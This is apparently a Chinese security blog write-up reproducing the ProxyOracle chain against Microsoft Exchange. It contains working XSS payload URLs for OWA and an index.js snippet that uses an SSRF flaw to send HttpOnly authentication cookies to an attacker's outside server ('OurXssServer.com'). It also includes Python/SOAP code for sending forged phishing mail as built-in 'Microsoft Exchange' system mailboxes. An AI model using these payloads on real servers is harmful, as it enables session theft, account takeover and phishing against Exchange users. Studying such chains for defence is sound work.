ProxyOracle 利用分析1——CVE-2021-31195
0x00 前言
我和 Evi1cg 一起复现了 ProxyOracle 攻击链,本文仅在技术研究的角度记录研究 ProxyOracle 中的细节,分析利用思路。
0x01 简介
本文将要介绍以下内容:
- XSS 复现
- HttpOnly 绕过
- XSS 平台搭建
- 伪造邮件
0x02 XSS 复现
测试环境:
- Exchange Server IP: 192.168.1.1
用户登录后访问如下链接:
https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.cookie)//
触发 XSS,如下图
但是这里无法显示我们想要的 Cookie 数据,具体名称如下:
- cadata
- cadataTTL
- cadataKey
- cadataIV
- cadataSig
查看以上 Cookie 的 HttpOnly 属性,如下图
可以看到以上 Cookie 设置了 HttpOnly 属性,可用来防止 XSS 攻击,通过 js 脚本将无法读取到 Cookie 信息
0x03 HttpOnly 绕过
为了能够读取受 HttpOnly 属性保护的 Cookie 信息,我们需要借助 SSRF 漏洞,控制 Exchange 服务器将 Cookie 信息发送至我们自己搭建的 XSS 平台
这里需要注意以下细节:
1.SSRF 漏洞的选择
(1)CVE-2021-26855
能够访问外部 XSS 平台,能够使用 ajax 模拟用户发包触发 SSRF 漏洞
(2)CVE-2021-28480
能够访问外部 XSS 平台,无法使用 ajax 模拟用户发包触发 SSRF 漏洞(无法修改 Cookie 中的 X-BackEndCookie)
(3)CVE-2021-34473
无法访问外部 XSS 平台,因此,最终的选择为 CVE-2021-26855
2.XSS 平台搭建
由于我们借助了 SSRF 漏洞,控制 Exchange 服务器将 Cookie 信息发送至 XSS 平台,导致我们最终想要的 Cookie 信息位于 Request Headers 中
而现有的 XSS 平台大都是通过 POST 请求的参数来传递数据
为了解决这个问题,这里可以选择我之前开源的 XSS 平台,地址如下:https://github.com/3gstudent/pyXSSPlatform
只需要修改以下位置:
- 修改 index.js,使用 ajax 模拟用户发包触发 SSRF 漏洞
- 修改 pyXSSPlatform.py,将 GET 请求的 Request Headers 进行提取
- 使用合法的证书
index.js 代码示例:
var xmlHttp = new XMLHttpRequest();
xmlhttp.open("GET", "https://192.168.1.1/owa/auth/x.js", false);
document.cookie = "X-AnonResource=true";
document.cookie = "X-AnonResource-Backend=OurXssServer.com/#~1";
xmlhttp.send();
3.XSS 利用代码
控制用户访问 XSS 平台的代码示例:
https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.head.appendChild(document.createElement(/script/.source)).src=/https:\/\/OurXssServer.com\/index.js/.source//
0x04 伪造邮件
1.伪造成 Exchange 的默认用户
在之前的文章《ProxyShell 利用分析 1——CVE-2021-34473》中提到:通过 CVE-2021-34473,我们可以模拟成任意用户身份进行 EWS 调用操作
并且,Exchange 中默认存在以下四个用户可供使用:
- SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}
- SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}
- SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}(Exchange 2016 CU8 and later)
- SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}(Exchange 2016 CU8 and later)
结合以上信息,我们可以模拟成 Exchange 的默认用户来发送邮件,对应名称如下:
- SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}:Microsoft Exchange
- SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}:Microsoft Exchange
- SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}(Exchange 2016 CU8 and later):E4E Encryption Store - Active
- SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}(Exchange 2016 CU8 and later):Microsoft Exchange
2.通过 EWS 发送超链接
但是我没有找到通过 EWS 发送超链接的格式
这里我是通过抓包的方式获得了正确的 SOAP 格式,方法可参考之前的文章 《渗透基础——通过 Outlook Web Access(OWA) 读取 Exchange 邮件的命令行实现》 %E8%AF%BB%E5%8F%96Exchange%E9%82%AE%E4%BB%B6%E7%9A%84%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%AE%9E%E7%8E%B0)
需要注意以下部分:
- 使用 CreateItem 发送邮件
- SendOnly 表示只发送邮件,不保存
- BodyType 需要设置为 HTML
- 正文内容需要注意 XML 的转义字符
Python 示例代码如下:
def escape(_str):
_str = _str.replace("&", "&")
_str = _str.replace("<", "<")
_str = _str.replace(">", ">")
_str = _str.replace("\"", """)
return _str
linkData = "Click here"
linkURL = "https://test.com"
payload = "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"><style type=\"text/css\" style=\"display:none;\"><!-- P {margin-top:0;margin-bottom:0;} --></style></head><body dir=\"ltr\"><div id=\"divtagdefaultwrapper\" style=\"font-size:12pt;color:#000000;font-family:Calibri,Helvetica,sans-serif;\" dir=\"ltr\"><p><a href=\"" + linkURL + "\" class=\"OWAAutoLink\">" + linkData + "</a></p></div></body></html>"
POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:m="https://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
<soap:Body>
<m:CreateItem MessageDisposition="SendOnly">
<m:Items>
<t:Message>
<t:Subject>Test Subject</t:Subject>
<t:Body BodyType="HTML">{payload}</t:Body>
<t:ToRecipients>
<t:Mailbox>
<t:EmailAddress>{mailuserTo}</t:EmailAddress>
</t:Mailbox>
</t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>
'''
POST_BODY = POST_BODY.format(payload = escape(payload), mailuserTo = "test2@test.com")
0x05 小结
对于 CVE-2021-31195,不仅可以用来获得用户的 Cookie 信息,同样可以使用其他 XSS 的利用方法,例如截取屏幕和模拟用户发包修改收件箱访问权限。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: ProxyShell 利用分析3——添加用户和文件写入
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论